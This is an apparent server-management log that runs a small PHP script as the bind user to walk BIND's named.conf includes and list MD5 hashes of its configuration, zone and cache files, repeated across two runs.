MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:36:30: Establishing a connection
2026-04-24 12:36:31: 

PUT: /tmp/pkp894093

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:36:31: 

runuser -l bind -s /bin/bash -c '/tmp/pkp894093; rm /tmp/pkp894093'

2026-04-24 12:36:31: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:40:23: Establishing a connection
2026-04-24 12:40:23: 

PUT: /tmp/pkp668755

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:40:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp668755; rm /tmp/pkp668755'

2026-04-24 12:40:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
